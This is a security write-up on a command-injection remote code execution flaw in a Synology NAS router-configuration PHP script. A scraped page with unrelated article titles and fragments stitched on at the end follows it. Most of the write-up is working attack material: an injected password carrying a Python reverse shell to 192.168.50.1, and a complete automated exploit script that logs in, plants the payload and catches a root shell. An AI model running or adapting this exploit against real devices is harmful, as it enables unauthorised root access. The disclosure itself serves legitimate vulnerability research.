.+ ,$value , $match )) {
$App [] = $match [1 ];
} else if (preg_match("/td class=\"indence fixedtdwidth fixedtd\" style=\"position:relative; z-index:1;\">(\S+)<\/td> ,$value , $match )) {
$appDev [] = $match [1 ];
} else if (preg_match("/<\/table>/i" ,$value , $match )) {
break ;
} else {
}
}
unset ($value );
$app_count = count($appDev );
for ($i =0 ; $i <$app_count ; $i ++) {
if (preg_match("/^" .$dev_name ."$/" , $appDev [$i ]) || preg_match("/^" .$synologyNo ."$/" , $App [$i ])) {
$deleDev [] = $App [$i ];
}
}
$dele_count = count($deleDev );
$deleStr ="" ;
for ($i =0 ; $i <$dele_count ; $i ++) {
$app_count = count($App );
$deleStr ="" ;
for ($t = 1 ; $t <= $app_count ; $t ++) {
$deleStr =$deleStr ."&delete" .$t ."=" .$App [$t -1 ];
if (preg_match("/" .preg_quote($App [$t -1 ])."/" , $deleDev [$i ], $m )) {
$deletenow =$t ;
}
}
$szCmd ="/usr/syno/bin/curl -b " .$header ." -u 'admin:" .$pass ."' -d 'app_name=-" .$deleStr ."&device_ip=-&form_action=delete" .$deletenow ."&rn=" .$rn ."' '" .$url ."'" ;
system($szCmd );
$tmparray =$App ;
$App =array ();
for ($j = 0 ; $j < $app_count ; $j ++) {
if ($tmparray [$j ] !== $deleDev [$i ]) {
$App [] = $tmparray [$j ];
}
}
}
exit (0 );
?>
As we can see, the php script above appears to contain the following functionality:
Take inputs passed to the script
Add port forwarding rules via a 3rd party routers web interface
Delete port forwarding rules via a 3rd party routers web interface Interestingly, when a port is deleted the (unsanitised) inputs passed to the script are unsafetly concatenated into a string, then passed to a php system call. If we can control these inputs, we can ‘break out’ of the string and append arbitrary commands to the system call; thereby obtaining RCE on the NAS device.
A first look
The NAS OS has installed by this point, so we can login to the device and take a look around the UI. The UI looks nice and the control panel appears to have many features. One in particular that takes my immediate interest (based on the script above) is ‘External Access’.
The ‘External Access’ option permits users to configure their router and from within the NAS UI they can perform actions on their router such as adding or deleting forwarded ports. Based on the naming convention of our vulnerable script above, the ‘BT: HomeHUB2.0’ looks promising. By using the ‘custom router account’ we can also identify what appears to be the parameters being passed to the script.
Gaining access
Assuming these parameters are passed directly to the php script with no intermediate sanitisation, we can attempt to modify the php system call by ‘breaking out’ of the unsafetly concatenated string and appending our own arbitrary commands.
In particular, the offending line:
$szCmd ="/usr/syno/bin/curl -b " .$header ." -u 'admin:" .$pass ."' -d 'app_name=-" .$deleStr ."&device_ip=-&form_action=delete" .$deletenow ."&rn=" .$rn ."' '" .$url ."'" ;
For example, by changing our router password to a\’;touch /tmp/test, we should ‘break out’ of the initial command and append touch /tmp/test, which will then also be passed to the system call. Thereby writing the file test to the /tmp directory of the NAS device.
Creating files is well and good, but to make the most of an RCE, we want a revere shell.
For example, using python we can set the following password for the HomeHub2.0 router, which will initiate a reverse shell from the NAS device to our system listening at 192.168.50.1 on TCP port 1234 when the affected call is triggered:
b\';python -c ' import socket ,subprocess,os;s =socket .socket (socket .AF_INET,socket .SOCK_STREAM);s .connect (("192.168.50.1" ,1234 ));os.dup2(s .fileno(),0 );os.dup2(s .fileno(),1 );os.dup2(s .fileno(),2 );p=subprocess.call(["/bin/sh" ,"-i" ])
Once the backdoored router password has been added, we simply need to follow the information flow as per the script above to trigger our backdoor and gain a reverse shell:
Login to the NAS UI
Set up the HomeHub2.0 router with the backdoored password
Delete some router rule
Automating the process
Naturally, we want to automate this attack. Unfortunately, the login process to the NAS is not straight forward. When logging in, the username and password (and some additional parameters) are encrypted with both RSA and AES (assumedly to protect against MITM attacks on the network) and then the encrypted data is posted to the server.
Looking at the client side JavaScript files we can identify how this encryption is being performed.
onEncryptionDone: function(a, h, f) {
var c = this.form .findField ("passwd" ),
b = this.form .findField ("__cIpHeRtExT" ),
e = this.form .findField ("client_time" ),
d = "" ,
g = {}
if (a) {
SYNO.Encryption .CipherKey = h.cipherkey
SYNO.Encryption .RSAModulus = h.public _key
SYNO.Encryption .CipherToken = h.ciphertoken
SYNO.Encryption .TimeBias = h.server _time - Math.floor (+new Date() / 1000 )
}
g[c.getName ()] = c.getValue ()
g.key = SYNO.SDS .ForgetPass .ticket
g[e.getName ()] = e.getValue ()
g = SYNO.Encryption .EncryptParam (g)
d = g[h.cipherkey ] || ""
b.setValue (d)
this.initIFrameEvent ()
this.setFormDisabled (true, !!d)
this.form .el .dom .submit ()
},
SYNO.Encryption .EncryptParam = function(g) {
var e, c, b, d = {},
a = {},
f = SYNO.Encryption .GenRandomKey (501 )
if (!SYNO.Encryption .CipherKey || !SYNO.Encryption .RSAModulus || !SYNO.Encryption .CipherToken ) {
return g
}
e = new SYNO.Encryption .RSA ()
e.setPublic (SYNO.Encryption .RSAModulus , "10001" )
d[SYNO.Encryption .CipherToken ] = Math.floor (+new Date() / 1000 ) + SYNO.Encryption .TimeBias
c = e.encrypt (f)
if (!c) {
return g
}
Ext.apply (d, g)
b = SYNO.Encryption .AES .encrypt (Ext.urlEncode (d), f).toString ()
if (!b) {
return g
}
a[SYNO.Encryption .CipherKey ] = JSON.stringify ({
rsa: SYNO.Encryption .Base 64.hex 2b64(c),
aes: b
})
return a
}
During the login process, the client also submits a request to obtain the server’s public key. As seen in the script above, when a response from the server results in a failure, it’s possible to submit the valid login request in plain text. Therefore we don’t need to re-implement this encryption method, we can instead abuse the insecure fall back.
Firstly, we login to the device:
session = requests. session()
data = {'username' :username,'passwd' :password,'OTPcode' :'' ,'__cIpHeRtExT' :'' ,'client_time' :'0' ,'isIframeLogin' :'yes' }
url = 'https://%s:%s/webman/login.cgi?enable_syno_token=yes' % (nas_ip, nas_port)
syno_token = session. post(url, data = data , verify= False ). content. split("\"" )[ 3 ]
headers = {'X-SYNO-TOKEN' : syno_token}
Secondly, we utilise the valid cookie and custom synology headers to set up the vulnerable router with our backdoored password:
backdoor = '"b\\\';python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])"' % (my_ip, my_port)
data = {'router_brand' :'BT' ,'router_model' :'HomeHub2.0' ,'router_version' :'Version8.1.H.G_TypeA' ,'router_protocol' :'http' ,'router_port' :'8000' ,'support_upnp' :'no' ,'support_natpmp' :'no' ,'router_account' :'aaaaa' ,'router_pass' :backdoor,'api' :'SYNO.Core.PortForwarding.RouterConf' ,'method' :'set' ,'version' :'1' }
url = 'https://%s:%s/webapi/_______________________________________________________entry.cgi' % (nas_ip, nas_port)
session. post(url, data = data , verify= False , headers= headers)
Finally, we trigger the backdoor by removing a port forwarding rule:
{'rules' :'[{" id":0," enable":true," rule_id":" 1 "," ds_port":" 1 "," router_port":" 1 "," router_protocol":" tcp"," serviceid":" "," service_name":false," force":false}]' ,'task_id_suffix' :"PF" ,'api' :'SYNO.Core.PortForwarding.Rules' ,'method' :'save' ,'version' :"1" }
session. post(url, data=data, verify=False, headers=headers)
Pulling it all together
import requests
from pwn import *
requests. packages. urllib3. disable_warnings()
username = 'test'
password = 'test'
nas_ip = '192.168.50.10'
nas_port = 5001
my_ip = '192.168.50.11'
my_port = 1234
print "[+] Accessing device.."
session = requests. session()
data = {'username' :username,'passwd' :password,'OTPcode' :'' ,'__cIpHeRtExT' :'' ,'client_time' :'0' ,'isIframeLogin' :'yes' }
url = 'https://%s:%s/webman/login.cgi?enable_syno_token=yes' % (nas_ip, nas_port)
syno_token = session. post(url, data=data, verify=False).content. split("\"" )[3 ]
headers = {'X-SYNO-TOKEN' : syno_token}
print "[+] Extracted SYNO-TOKEN %s.." % syno_token
backdoor = '" b\\\';python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" %s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([" /bin/sh"," -i"])" ' % (my_ip, my_port)
data = {' router_brand' :'BT' ,'router_model' :'HomeHub2.0' ,'router_version' :'Version8.1.H.G_TypeA' ,'router_protocol' :'http' ,'router_port' :'8000' ,'support_upnp' :'no' ,'support_natpmp' :'no' ,'router_account' :'aaaaa' ,'router_pass' :backdoor,'api' :'SYNO.Core.PortForwarding.RouterConf' ,'method' :'set' ,'version' :'1' }
url = 'https://%s:%s/webapi/_______________________________________________________entry.cgi' % (nas_ip, nas_port)
session. post(url, data=data, verify=False, headers=headers)
print "[+] Backdoored external access password.."
data = {'rules' :'[{" id":0," enable":true," rule_id":" 1 "," ds_port":" 1 "," router_port":" 1 "," router_protocol":" tcp"," serviceid":" "," service_name":false," force":false}]' ,'task_id_suffix' :"PF" ,'api' :'SYNO.Core.PortForwarding.Rules' ,'method' :'save' ,'version' :"1" }
session. post(url, data=data, verify=False, headers=headers)
print "[+] Triggering backdoor.."
l = listen(my_port)
l. interactive()
It’s running as root , so that makes privilege escalation a breeze.
Note: The astute readers might notice the vulnerable php script above will only follow the aforementioned data flow when specific patterns are matched (based on the responses received from the routers web interface). Initially, I set up a faux router (based on a real web interface for HomeHub2.0 identified via a Shodan search) to give the correct dummy responses to ensure the data flow was followed as expected. However, this ultimately was not needed to trigger the RCE, so I suspect something even more sinister is going on under the hood; which I did not investigated.
PS: for those of you playing along at home who also want a shell on their NAS. I later found it’s also possible to just enable SSH via the UI.
References
http://rileykidd.com/2016/01/12/synology-nas-dsm-5-2-remote-code-execution-rce/ https://download.xpenology.fr/ http://xpenology.me/downloads/ https://www.youtube.com/watch?v=UW-SQbCd8aw
你可能感兴趣的:(Vulnerability,Analysis)
CesiumJS+SuperMap3D.js混用实现可视域分析 S3M图层加载 裁剪区域绘制
SteveJi666
WebGL cesium EarthSDK SuperMap 3d javascript 前端 arcgis
版本简介:cesium:1.99;Supermap3D:SuperMapiClientJavaScript11i(2023);官方下载文档链家:SuperMap技术资源中心|为您提供全面的在线技术服务示例参考:support.supermap.com.cn:8090/webgl/Cesium/examples/webgl/examples.html#analysissupport.supermap
CesiumJS+SuperMap3D.js混用实现通视分析
SteveJi666
WebGL cesium EarthSDK SuperMap 3d javascript 前端 arcgis
版本简介:cesium:1.99;Supermap3D:SuperMapiClientJavaScript11i(2023);官方下载文档链家:SuperMap技术资源中心|为您提供全面的在线技术服务示例参考:support.supermap.com.cn:8090/webgl/Cesium/examples/webgl/examples.html#analysissupport.supermap
概率潜在语义分析(Probabilistic Latent Semantic Analysis,PLSA)—无监督学习方法、概率模型、生成模型、共现模型、非线性模型、参数化模型、批量学习
剑海风云
Artificial Intelligence 人工智能 机器学习 概率潜在语义分析 PLSA
定义输入:设单词集合为W={ω1,ω2,⋯ ,ωM}W=\{\omega_1,\omega_2,\cdots,\omega_M\}W={ω1,ω2,⋯,ωM},文本集合为D={d1,d2,⋯ ,dN}D=\{d_1,d_2,\cdots,d_N\}D={d1,d2,⋯,dN},话题集合为Z={z1,z2,⋯ ,zN}Z=\{z_1,z_2,\cdots,z_N\}Z={z1,z2,⋯,zN},共现
算法设计与分析 合并排序的递归实现算法
Jxcupupup
算法 算法 算法设计与分析
合并排序的递归实现算法。输入:先输入进行合并排序元素的个数,然后依次随机输入(或随机生成)每个数字。输出:元素排序后的结果,数字之间不加任何标识符。示//完整代码在GitHub上//https://github.com/Jxcup/Course_Algorithm_Analysis-Design/blob/main/MergeSort_iteration.cpp//合并排序递归#includeus
AI学习笔记:pdf-document-layout-analysis
hillstream3
人工智能 学习 笔记 pdf AI编程 nlp
一直在学AI,但没有连续的时间来尝试。现在终于失业了,有大把连续的时间来动手。之前准备了一台I5-1400F+RTX360012G的电脑,现在终于派上用场了。由于一直在从事无线通信相关的工作,所以,拿到一份很长的AI可能与通信在哪些方面,能够结合的pdf文档。所以,打算从这份文档开始入手。第一个找到的项目的是这个:https://huggingface.co/HURIDOCS/pdf-docume
线性判别分析 (Linear Discriminant Analysis, LDA)
ALGORITHM LOL
人工智能 机器学习 算法
线性判别分析(LinearDiscriminantAnalysis,LDA)通俗易懂算法线性判别分析(LinearDiscriminantAnalysis,LDA)是一种用于分类和降维的技术。其主要目的是找到一个线性变换,将数据投影到一个低维空间,使得在这个新空间中,不同类别的数据能够更好地分离。线性判别分析的核心思想LDA的基本思路是最大化类间方差(between-classvariance)与
404 error when doing workload anlysis using locust on OpenAI API (GPT.35)
营赢盈英
AI 人工智能 python openai locust
题意:"使用Locust对OpenAIAPI(GPT-3.5)进行工作负载分析时出现404错误。"问题背景:IamtryingtodosomeworkloadanalysisonOpenAIGPT-3.5-TURBOusinglocust."我正在使用Locust对OpenAIGPT-3.5-TURBO进行一些工作负载分析。"fromlocustimportHttpUser,between,tas
打卡第13天:《利用python进行数据分析》学习笔记
且不了了
第7章——数据规整化:清理、转换、合并、重塑数据变换http://nbviewer.jupyter.org/github/qiebuliaoliao/data_analysis_python/blob/master/ch7/20180405.ipynb
亦菲喊你来学机器学习(20) --PCA数据降维
方世恩
机器学习 人工智能 深度学习 python 算法 sklearn
文章目录PCA数据降维一、降维二、优缺点三、参数四、实例应用1.读取文件2.分离特征和目标变量3.使用PCA进行降维4.打印特征所占百分比和具体比例5.PCA降维后的数据6.划分数据集7.训练逻辑回归模型8.评估模型性能总结PCA数据降维主成分分析(PrincipalComponentAnalysis,PCA)是一种常用的数据降维技术,它可以在保留数据集中最重要的特征的同时,减少数据的维度。PCA
python 自动下载ERA5 netCDF4格式数据 INFO Request is queued
水猪1
python
2024-05-2111:18:46,271INFOWelcometotheCDS2024-05-2111:18:46,289INFOSendingrequesttohttps://cds.climate.copernicus.eu/api/v2/resources/reanalysis-era5-pressure-levels2024-05-2111:18:46,512INFORequestis
Python的情感词典情感分析和情绪计算
yava_free
python 大数据 人工智能
一.大连理工中文情感词典情感分析(SentimentAnalysis)和情绪分类(EmotionClassification)都是非常重要的文本挖掘手段。情感分析的基本流程如下图所示,通常包括:自定义爬虫抓取文本信息;使用Jieba工具进行中文分词、词性标注;定义情感词典提取每行文本的情感词;通过情感词构建情感矩阵,并计算情感分数;结果评估,包括将情感分数置于0.5到-0.5之间,并可视化显示。目
使用Python和Jieba库进行中文情感分析:从文本预处理到模型训练的完整指南
快撑死的鱼
Python算法精解 python 人工智能 开发语言
使用Python和Jieba库进行中文情感分析:从文本预处理到模型训练的完整指南情感分析(SentimentAnalysis)是自然语言处理(NLP)领域中的一个重要分支,旨在从文本中识别出情绪、态度或意见等主观信息。在中文文本处理中,由于语言特性不同于英语,如何高效、准确地分词和提取关键词成为情感分析的关键步骤之一。在这篇文章中,我们将深入探讨如何使用Python和Jieba库进行中文情感分析,
pytorch计算网络参数量和Flops
Mr_Lowbee
PyTorch pytorch 深度学习 人工智能
fromtorchsummaryimportsummarysummary(net,input_size=(3,256,256),batch_size=-1)输出的参数是除以一百万(/1000000)M,fromfvcore.nnimportFlopCountAnalysisinputs=torch.randn(1,3,256,256).cuda()flop_counter=FlopCountAna
股票中的情侣——配对交易
鸿鹄Max
什么是配对交易?配对交易(PairsTrading)是指八十年代中期华尔街著名投行MorganStanley的数量交易员NunzioTartaglia成立的一个数量分析团队提出的一种市场中性投资策略,,其成员主要是物理学家、数学家、以及计算机学家。GanapathyVidyamurthy在《PairsTrading:QuantitativeMethodsandAnalysis》一书中定义配对交易为
多模态大模型论文总结
sudun_03
语言模型 算法 人工智能
MM1:Methods,Analysis&InsightsfromMultimodalLLMPre-training在这项工作中,我们讨论了建立高性能的多模态大型语言模型(MLLMs)。特别是,我们研究了各种模型结构组件和数据选择的重要性。通过对图像编码器、视觉语言连接器和各种预训练数据选择的仔细而全面的验证,我们确定了几个关键的设计教训。例如,我们证明,与其他已发表的多模式预训练结果相比,对于使
科研绘图系列:R语言富集散点图(enrichment scatter plot)
生信学习者1
SCI科研绘图系列 r语言 数据可视化
介绍富集通路散点图(EnrichmentPathwayScatterPlot)是一种数据可视化工具,用于展示基因集富集分析(GeneSetEnrichmentAnalysis,GSEA)的结果。横坐标是对应基因名称,纵坐标是通路名称,图中的点表示该基因在某个通路下的qvalue,可以简单理解为不同环境下的贡献大小。加载R包导入所需要的R包,在导入前需要用户自己安装。library(readxl)l
CS269I:Incentives in Computer Science 学习笔记 Lecture 16: Revenue-Maximizing Auctions(收入最大化拍卖)
ldc1513
学习笔记 算法 博弈论
Lecture16:Revenue-MaximizingAuctions(收入最大化拍卖)1RevenueMaximizationandBayesianAnalysis一直以来,我们关注的都是最大化社会福利的拍卖设计(至少在那些真实出价的场景中)。福利最大化确实是在很多场景中我们最多考虑的事情,比如我们之前看了很长时间的赞助搜索和在线广告。在福利最大化拍卖中,收入也被考虑过,但也仅仅是机制的一个副
es安装ik分词器
abments
ES elasticsearch jenkins 大数据
下载分词器首先确定es对应的版本(假设版本是7.10.0)根据版本下载指定的分词器开始安装在线安装./bin/elasticsearch-plugininstallhttps://github.com/medcl/elasticsearch-analysis-ik/releases/download/v7.10.0/elasticsearch-analysis-ik-7.10.0.zip离线安装-
2020-12-05
幸福大黑鸭
IT1.LeetCode:存在重复元素Java编写2020-12-05(217.存在重复元素)2.《Java从入门到精通》明日科技:P331~335阅读记xmind笔记,并自己实现实例。知识点之前确实都学过,但还是再系统复习一下吧。3.《Semantic-awareWorkflowConstructionandAnalysisforDistributedDataAnalyticsSystems》:
语音识别 学习笔记2024
AI算法网奇
深度学习基础 音视频 人工智能
目录dragonfly阿里达摩院FunASR:一款高效的端到端语音识别工具包不错的功能介绍librosa安装语音识别dragonfly阿里达摩院FunASR:一款高效的端到端语音识别工具包不错的功能介绍librosa,一个很有趣的Python库!-简书音频转特征向量GitHub-librosa/librosa:Pythonlibraryforaudioandmusicanalysislibrosa
Python之Pandas详解
八秒记忆的老男孩
Python Python基础 python pandas 开发语言
Pandas是Python语言的一个扩展程序库,用于数据分析。Pandas是一个开放源码、BSD许可的库,提供高性能、易于使用的数据结构和数据分析工具。Pandas名字衍生自术语“paneldata”(面板数据)和“Pythondataanalysis”(Python数据分析)。Pandas一个强大的分析结构化数据的工具集,基础是NumPy(提供高性能的矩阵运算)。Pandas可以从各种文件格式比
数值分析——LU分解(LU Factorization)
怀帝阍而不见
计算数学 c++
本系列整理自博主21年秋季学期本科课程数值分析I的编程作业,内容相对基础,参考书:DavidKincaid,WardCheney-NumericalAnalysisMathematicsofScientificComputing(2002,AmericalMathematicalSociety)目录背景LU分解(LU-Factorization)辅助部分Doolittle分解Cholesky分解定
ATAM
stone_flower_rain
软件测试 ATAM
1.基本信息ATAM:ArchitectureTradeoffAnalysisMethod(构架权衡分析方法),它是评价软件构架的一种综合全面的方法。这种方法不仅可以揭示出构架满足特定质量目标的情况,而且(因为它认识到了构架决策会影响多个质量属性)可以使我们更清楚地认识到质量目标之间的联系——即如何权衡诸多质量目标。2.参与人员评估小组该小组是所评估构架的项目外部的小组。它通常由3~5个人组成。在
架构权衡分析法ATAM
崔世勋
软件架构
ArchitectureTradeoffAnalysisMethod使用ATAM方法对软件架构进行评估的目标,是理解架构关于软件的质量属性需求决策的结果。ATAM方法不但提示了架构如何满足特定的质量目标,而且还提供了这些质量目标是如何交互的,即它们之间是如何权衡的。最后欢迎大家访问我的个人网站:1024s
Xilinx Vivado的RTL分析(RTL analysis)、综合(synthesis)和实现
2401_84185145
程序员 fpga开发
理论上,FPGA从编程到下载实现预期功能的过程最少仅需要上述7个步骤中的4、5、6和7,即RTL分析、综合、实现和下载。其中的RTL分析、综合、实现的具体含义和区别又是什么?2、RTL分析(RTLanalysis)一般来讲,通常的设计输入都是Verilog、VHDL或者SystemVerilog等硬件描述语言HDL编写的文件,RTL分析这一步就是将HDL语言转化成逻辑电路图的过程。比如HDL语言描
矢量数据的空间分析——叠加分析
进击的码农设计师
叠加分析是对不同的数据进行一系列的集合运算,常用于提取要素的空间隐含信息。1.擦除分析:擦除分析是将输入要素中去除掉与擦除要素的多边形相交的部分,将输入要素处于擦除要素外部边界之外的部分输出到新要素类。打开【系统工具箱→AnalysisTools→叠加分析→擦除】工具,设置输入要素和擦除要素。2.相交分析:相交分析是对输入要素做几何交集操作,输入要素可以是各种几何类型要素(点、线、面)的组合。打开
pp.weekly.statistical_weekly_analysis_chart 统计周报分析图
小二郎_Ejun
URLpp.weekly.statistical_weekly_analysis_chart请求方式POST请求参数参数名类型必填说明token[string]是无skip_type[string]是一级获取查询的类型skip_value[string]是一级获取查询的数据key_value[string]是对应的key,取参类型query_time[string]否查询时间,时间戳秒(默认今天)
情感分析相关汇总
宁缺100
自然语言处理 自然语言处理 情感分析
文章目录情感分析语音情感识别句子or文档级别情感分析情感词汇字典大连理工大学中文情感词汇本体中文金融情感词典金融社交媒体数据应用的市场情绪词典中文情感分析常用词典台湾大学NTUSD简体中文情感词典BosonNLPABSA细腻度情感分析相关比赛【千言情感分析】SKEP句子级情感分析相关博客或者论文中文情感分析(SentimentAnalysis)的难点在哪?现在做得比较好的有哪几家?文本挖掘在商品评
OHIF Viewer医学影像学习日记
刘斩仙的笔记本
javascript OHIF Viewer 医学影像 vue react
前言:OHIFViewer一个开源的,基于Web的,医学影像查看器。项目文档GitHub项目大概流程:我们下载OHIFViewer项目运行打包,发布到服务器,然后暴露访问地址;再由后端提供返回固定格式json的接口,完整路径例如:http://www.baidu.com/#/viewer?url=http://www.your.com/apiv1/dicom/analysis/studies把此链
2020-12-17
幸福大黑鸭
IT1.LeetCode:各位相加Java编写2020-12-17(258.各位相加)2.《Java从入门到精通》明日科技:P391~395阅读记xmind笔记,并自己实现实例。知识点之前确实都学过,但还是再系统复习一下吧。3.《Semantic-awareWorkflowConstructionandAnalysisforDistributedDataAnalyticsSystems》:精读关键
JAVA基础
灵静志远
位运算 加载 Date 字符串池 覆盖
一、类的初始化顺序
1 (静态变量,静态代码块)-->(变量,初始化块)--> 构造器
同一括号里的,根据它们在程序中的顺序来决定。上面所述是同一类中。如果是继承的情况,那就在父类到子类交替初始化。
二、String
1 String a = "abc";
JAVA虚拟机首先在字符串池中查找是否已经存在了值为"abc"的对象,根
keepalived实现redis主从高可用
bylijinnan
redis
方案说明
两台机器(称为A和B),以统一的VIP对外提供服务
1.正常情况下,A和B都启动,B会把A的数据同步过来(B is slave of A)
2.当A挂了后,VIP漂移到B;B的keepalived 通知redis 执行:slaveof no one,由B提供服务
3.当A起来后,VIP不切换,仍在B上面;而A的keepalived 通知redis 执行slaveof B,开始
java文件操作大全
0624chenhong
java
最近在博客园看到一篇比较全面的文件操作文章,转过来留着。
http://www.cnblogs.com/zhuocheng/archive/2011/12/12/2285290.html
转自http://blog.sina.com.cn/s/blog_4a9f789a0100ik3p.html
一.获得控制台用户输入的信息
&nbs
android学习任务
不懂事的小屁孩
工作
任务
完成情况 搞清楚带箭头的pupupwindows和不带的使用 已完成 熟练使用pupupwindows和alertdialog,并搞清楚两者的区别 已完成 熟练使用android的线程handler,并敲示例代码 进行中 了解游戏2048的流程,并完成其代码工作 进行中-差几个actionbar 研究一下android的动画效果,写一个实例 已完成 复习fragem
zoom.js
换个号韩国红果果
oom
它的基于bootstrap 的
https://raw.github.com/twbs/bootstrap/master/js/transition.js transition.js模块引用顺序
<link rel="stylesheet" href="style/zoom.css">
<script src=&q
详解Oracle云操作系统Solaris 11.2
蓝儿唯美
Solaris
当Oracle发布Solaris 11时,它将自己的操作系统称为第一个面向云的操作系统。Oracle在发布Solaris 11.2时继续它以云为中心的基调。但是,这些说法没有告诉我们为什么Solaris是配得上云的。幸好,我们不需要等太久。Solaris11.2有4个重要的技术可以在一个有效的云实现中发挥重要作用:OpenStack、内核域、统一存档(UA)和弹性虚拟交换(EVS)。
spring学习——springmvc(一)
a-john
springMVC
Spring MVC基于模型-视图-控制器(Model-View-Controller,MVC)实现,能够帮助我们构建像Spring框架那样灵活和松耦合的Web应用程序。
1,跟踪Spring MVC的请求
请求的第一站是Spring的DispatcherServlet。与大多数基于Java的Web框架一样,Spring MVC所有的请求都会通过一个前端控制器Servlet。前
hdu4342 History repeat itself-------多校联合五
aijuans
数论
水题就不多说什么了。
#include<iostream>#include<cstdlib>#include<stdio.h>#define ll __int64using namespace std;int main(){ int t; ll n; scanf("%d",&t); while(t--)
EJB和javabean的区别
asia007
bean ejb
EJB不是一般的JavaBean,EJB是企业级JavaBean,EJB一共分为3种,实体Bean,消息Bean,会话Bean,书写EJB是需要遵循一定的规范的,具体规范你可以参考相关的资料.另外,要运行EJB,你需要相应的EJB容器,比如Weblogic,Jboss等,而JavaBean不需要,只需要安装Tomcat就可以了
1.EJB用于服务端应用开发, 而JavaBeans
Struts的action和Result总结
百合不是茶
struts Action配置 Result配置
一:Action的配置详解:
下面是一个Struts中一个空的Struts.xml的配置文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
&quo
如何带好自已的团队
bijian1013
项目管理 团队管理 团队
在网上看到博客"
怎么才能让团队成员好好干活"的评论,觉得写的比较好。 原文如下: 我做团队管理有几年了吧,我和你分享一下我认为带好团队的几点:
1.诚信
对团队内成员,无论是技术研究、交流、问题探讨,要尽可能的保持一种诚信的态度,用心去做好,你的团队会感觉得到。 2.努力提
Java代码混淆工具
sunjing
ProGuard
Open Source Obfuscators
ProGuard
http://java-source.net/open-source/obfuscators/proguardProGuard is a free Java class file shrinker and obfuscator. It can detect and remove unused classes, fields, m
【Redis三】基于Redis sentinel的自动failover主从复制
bit1129
redis
在第二篇中使用2.8.17搭建了主从复制,但是它存在Master单点问题,为了解决这个问题,Redis从2.6开始引入sentinel,用于监控和管理Redis的主从复制环境,进行自动failover,即Master挂了后,sentinel自动从从服务器选出一个Master使主从复制集群仍然可以工作,如果Master醒来再次加入集群,只能以从服务器的形式工作。
什么是Sentine
使用代理实现Hibernate Dao层自动事务
白糖_
DAO spring AOP 框架 Hibernate
都说spring利用AOP实现自动事务处理机制非常好,但在只有hibernate这个框架情况下,我们开启session、管理事务就往往很麻烦。
public void save(Object obj){
Session session = this.getSession();
Transaction tran = session.beginTransaction();
try
maven3实战读书笔记
braveCS
maven3
Maven简介
是什么?
Is a software project management and comprehension tool.项目管理工具
是基于POM概念(工程对象模型)
[设计重复、编码重复、文档重复、构建重复,maven最大化消除了构建的重复]
[与XP:简单、交流与反馈;测试驱动开发、十分钟构建、持续集成、富有信息的工作区]
功能:
编程之美-子数组的最大乘积
bylijinnan
编程之美
public class MaxProduct {
/**
* 编程之美 子数组的最大乘积
* 题目: 给定一个长度为N的整数数组,只允许使用乘法,不能用除法,计算任意N-1个数的组合中乘积中最大的一组,并写出算法的时间复杂度。
* 以下程序对应书上两种方法,求得“乘积中最大的一组”的乘积——都是有溢出的可能的。
* 但按题目的意思,是要求得这个子数组,而不
读书笔记-2
chengxuyuancsdn
读书笔记
1、反射
2、oracle年-月-日 时-分-秒
3、oracle创建有参、无参函数
4、oracle行转列
5、Struts2拦截器
6、Filter过滤器(web.xml)
1、反射
(1)检查类的结构
在java.lang.reflect包里有3个类Field,Method,Constructor分别用于描述类的域、方法和构造器。
2、oracle年月日时分秒
s
[求学与房地产]慎重选择IT培训学校
comsci
it
关于培训学校的教学和教师的问题,我们就不讨论了,我主要关心的是这个问题
培训学校的教学楼和宿舍的环境和稳定性问题
我们大家都知道,房子是一个比较昂贵的东西,特别是那种能够当教室的房子...
&nb
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系
daizj
oracle rman filesperset PARALLELISM
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系 转
PARALLELISM ---
我们还可以通过parallelism参数来指定同时"自动"创建多少个通道:
RMAN > configure device type disk parallelism 3 ;
表示启动三个通道,可以加快备份恢复的速度。
简单排序:冒泡排序
dieslrae
冒泡排序
public void bubbleSort(int[] array){
for(int i=1;i<array.length;i++){
for(int k=0;k<array.length-i;k++){
if(array[k] > array[k+1]){
初二上学期难记单词三
dcj3sjt126com
sciet
concert 音乐会
tonight 今晚
famous 有名的;著名的
song 歌曲
thousand 千
accident 事故;灾难
careless 粗心的,大意的
break 折断;断裂;破碎
heart 心(脏)
happen 偶尔发生,碰巧
tourist 旅游者;观光者
science (自然)科学
marry 结婚
subject 题目;
I.安装Memcahce 1. 安装依赖包libevent Memcache需要安装libevent,所以安装前可能需要执行 Shell代码 收藏代码
dcj3sjt126com
redis
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
前面3步应该没有问题,主要的问题是执行make的时候,出现了异常。
异常一:
make[2]: cc: Command not found
异常原因:没有安装g
并发容器
shuizhaosi888
并发容器
通过并发容器来改善同步容器的性能,同步容器将所有对容器状态的访问都串行化,来实现线程安全,这种方式严重降低并发性,当多个线程访问时,吞吐量严重降低。
并发容器ConcurrentHashMap
替代同步基于散列的Map,通过Lock控制。
&nb
Spring Security(12)——Remember-Me功能
234390216
Spring Security Remember Me 记住我
Remember-Me功能
目录
1.1 概述
1.2 基于简单加密token的方法
1.3 基于持久化token的方法
1.4 Remember-Me相关接口和实现
位运算
焦志广
位运算
一、位运算符C语言提供了六种位运算符:
& 按位与
| 按位或
^ 按位异或
~ 取反
<< 左移
>> 右移
1. 按位与运算 按位与运算符"&"是双目运算符。其功能是参与运算的两数各对应的二进位相与。只有对应的两个二进位均为1时,结果位才为1 ,否则为0。参与运算的数以补码方式出现。
例如:9&am
nodejs 数据库连接 mongodb mysql
liguangsong
mongodb mysql node 数据库连接
1.mysql 连接
package.json中dependencies加入
"mysql":"~2.7.0"
执行 npm install
在config 下创建文件 database.js
java动态编译
olive6615
java HotSpot jvm 动态编译
在HotSpot虚拟机中,有两个技术是至关重要的,即动态编译(Dynamic compilation)和Profiling。
HotSpot是如何动态编译Javad的bytecode呢?Java bytecode是以解释方式被load到虚拟机的。HotSpot里有一个运行监视器,即Profile Monitor,专门监视
Storm0.9.5的集群部署配置优化
